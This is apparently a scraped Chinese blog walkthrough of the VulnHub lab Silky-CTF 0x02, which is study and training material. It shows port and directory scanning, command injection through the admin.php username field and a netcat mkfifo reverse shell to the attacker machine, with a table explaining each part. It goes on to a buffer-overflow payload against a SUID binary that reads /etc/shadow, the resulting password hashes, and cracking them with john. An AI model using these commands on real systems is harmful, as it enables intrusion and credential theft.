当前位置: 首页 > news >正文

Silky-CTF: 0x02靶场

Silky-CTF: 0x02

来自 <Silky-CTF: 0x02 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.131

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.131

4,访问80端口开放的http服务

dirsearch -u http://192.168.23.131/ -x 403,404

http://192.168.23.131/admin.php

对这个登录系统进行漏洞验证,发现username提交表单处存在命令执行漏洞

http://192.168.23.131/admin.php?username=id&password=1

然后再反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.23.128 4444 >/tmp/f

序号

命令片段

作用

技术原理

1

rm /tmp/f;

删除可能已存在的旧文件 /tmp/f

清理残留文件,避免命名冲突

2

mkfifo /tmp/f;

创建命名管道文件 /tmp/f

建立 FIFO(先进先出)管道,实现进程间通信

3

cat /tmp/f

读取管道文件的内容

将管道数据作为输入流

4

|

管道操作符

将前一命令的输出作为后一命令的输入

5

bash -i

启动交互式 Bash Shell

-i 参数开启交互模式,支持用户输入

6

2>&1

将标准错误输出重定向到标准输出

合并错误流和输出流,确保错误信息不丢失

7

| nc 192.168.23.128 4444

通过 netcat 连接到攻击机 192.168.23.128 的 4444 端口

建立 反向 TCP 连接(目标机主动连接攻击者)

8

> /tmp/f

将 netcat 接收的数据写入管道文件

完成 数据循环:攻击者输入 → 管道 → Bash 执行 → 结果回传 → 管道

成功getshell

5,查找SUID文件进行提权

find / -user root -perm -4000 -print 2>/dev/null

查看一下这个文件

cd /home/silky

stat cat_shadow

./cat_shadow 123456

存在缓冲区溢出漏洞,利用之

./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')

查看到了/etc/shadow文件内容,此时可以对root、silky用户的密码进行爆破

stat 命令作用详解

stat 是 Linux/Unix 系统中用于显示文件或文件系统的详细状态信息的核心命令。

功能类别

具体作用

示例输出字段

文件基本信息

显示文件的名称

File

显示文件的大小(字节)

Size

显示文件占用的磁盘块数

Blocks

显示文件类型(普通文件、目录、符号链接等)

File type

文件标识信息

显示文件的设备号(设备ID)

Device

显示文件的 inode 号(索引节点号)

Inode

显示文件的硬链接数量

Links

权限与所有权

显示文件的权限(八进制和字符表示)

Access: (0644/-rw-r--r--)

显示文件的所有者用户 ID 和组 ID

UidGid

时间戳信息

显示最后访问时间(Access Time)

Access

显示最后修改时间(Modify Time)

Modify

显示最后状态更改时间(Change Time,如权限、所有权等改变)

Change

显示文件创建时间(Birth Time,部分系统支持)

Birth

文件系统信息

显示文件所在文件系统的块大小

IO Block

显示文件所在的设备(如果是特殊设备文件)

Device type

 

6,将加密内容写入文本

root:$6$L69RL59x$ONQl06MP37LfjyFBGlQ5TYtdDqEZEe0yIZIuTHASQG/dgH3Te0fJII/Wtdbu0PA3D/RTxJURc.Ses60j0GFyF/:18012:0:99999:7:::

silky:$6$F0T5vQMg$BKnwGPZ17UHvqZLOVFVCUh6CrsZ5Eu8BLT1/uX3h44wtEoDt9qA2dYL04CMUXHw2Km9H.tttNiyaCHwQQ..2T0:18012:0:99999:7:::

vim passwd

gunzip /usr/share/wordlists/rockyou.txt.gz

cp /usr/share/wordlists/rockyou.txt .        

john --wordlist=rockyou.txt passwd 

7,然后ssh登录192.168.23.131

python -c 'import pty;pty.spawn("/bin/bash")'

su

SHELL=/bin/bash script -q /dev/null

组件

作用

技术原理

SHELL=/bin/bash

设置环境变量 SHELL 值为 /bin/bash

指定后续命令使用的 Shell 解释器为 Bash

script

启动终端会话录制工具

捕获终端的所有输入输出并保存到文件

-q

安静模式 (quiet)

隐藏 script 自身的启动/结束提示信息(如 "Script started...")

/dev/null

指定输出文件为系统空设备

丢弃所有录制内容(不保存到磁盘)

相关文章:

  • Linux中断与异常:内核的事件驱动引擎
  • 接口测试的用例设计
  • 2025年浙江安全员C证考试题库
  • 基于langchain的简单RAG的实现
  • 12、企业应收账款(AR)全流程解析:从发票开具到回款完成
  • 基于PyQt5的相机手动标定工具:原理、实现与应用
  • linux登陆硬件检测脚本
  • 打卡第35天:GPU训练以及类的Call方法
  • 阿姆达尔定律的演进:古斯塔夫森定律
  • HertzBeat的告警规则如何配置?
  • 如何做接口测试?
  • GPIO的内部结构与功能解析
  • Python趣学篇:Pygame重现《黑客帝国》数字雨
  • 八股学习-JS的闭包
  • Express 集成Sequelize+Sqlite3 默认开启WAL 进程间通信 Conf 打包成可执行 exe 文件
  • 全面解析 Windows CE 定制流程:从内核到设备部署
  • 垂起固定翼无人机应用及技术分析
  • 嵌入式系统:从技术原理到未来趋势(驱动程序篇)
  • 动态规划十大经典题型状态转移、模版等整理(包括leetcode、洛谷题号)
  • Oracle、PostgreSQL 与 MySQL 数据库对比分析与实践指南
  • 高端网站建设设计公司排名/百度指数网址是什么
  • 深圳沙井做网站公司/上海seo推广整站
  • 网站改版索引量下降/如何制作网站和网页
  • 做那个网站的图客比较好/郑州高端网站建设哪家好
  • 电商网站建设策划方案/西安网站关键词推广
  • 怎么做html5网站/网络推广100种方法